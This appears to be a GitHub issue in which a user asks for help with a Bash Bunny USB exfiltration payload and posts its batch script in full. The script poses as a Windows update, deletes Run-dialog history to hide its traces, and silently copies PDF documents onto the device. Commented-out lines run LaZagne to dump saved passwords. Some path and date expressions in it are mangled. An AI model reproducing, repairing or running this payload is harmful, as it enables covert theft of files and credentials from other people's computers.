Problem with the usb_exfiltrator.
mosesraona opened this issue · 0 comments
Hi everyone, first post ever here.
I recently got a Bash Bunny to test some Things out on my pc.
I just can't get it to work.
The perfect Scenario would be, that after pluging the BashBunny in, it copies all the .pdf files from all drives.
This is what I have atm:
@echo off
@echo Installing Windows Update
REM Delete registry keys storing Run dialog history
REG DELETE HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Explorer\RunMRU /f
REM Creates directory compromised of computer name, date and time
REM %~d0 = path to this batch file. %COMPUTERNAME%, %date% and %time% pretty obvious
REM This executes LaZagne in the current directory and outputs the password file to Loot
REM Time and Date is also added
REM setlocal
REM cd /d %dp0-8,2%%time:~-5,2%_passwords.txt"
REM %dp0\laZagne.exe all > "%-10,2%%date:dp0....\loot\USB_Exfiltration%COMPUTERNAME%_%date:-4,4%%date:7,2%_%time:-11,2%%time:
REM These lines if you just want Passwords and no files.
set dst=%dp0....\loot\USB_Exfiltration%COMPUTERNAME%_%date:-4,4%%date:-10,2%%date:-8,2%%time:~-5,2%7,2%_%time:-11,2%%time:
mkdir %dst% >>nul
if Exist %USERPROFILE%\Documents (
REM /C Continues copying even if errors occur.
REM /Q Does not display file names while copying.
REM /G Allows the copying of encrypted files to destination that does not support encryption.
REM /Y Suppresses prompting to confirm you want to overwrite an existing destination file.
REM /E Copies directories and subdirectories, including empty ones.
REM xcopy /C /Q /G /Y /E %USERPROFILE%\Documents*.pdf %dst% >>nul
REM Same as above but does not create empty directories
xcopy /C /Q /G /Y /S %USERPROFILE%\Documents*.pdf %dst% >>nul
)
REM Blink CAPSLOCK key
start /b /wait powershell.exe -nologo -WindowStyle Hidden -sta -command "$wsh = New-Object -ComObject WScript.Shell;$wsh.SendKeys('{CAPSLOCK}');sleep -m 250;$wsh.SendKeys('{CAPSLOCK}');sleep -m 250;$wsh.SendKeys('{CAPSLOCK}');sleep -m 250;$wsh.SendKeys('{CAPSLOCK}')"
This should take all the files from the Personal Documents Folder, but after a quick PowerShell Pop up Nothing happens.
Thx in Advance for the help.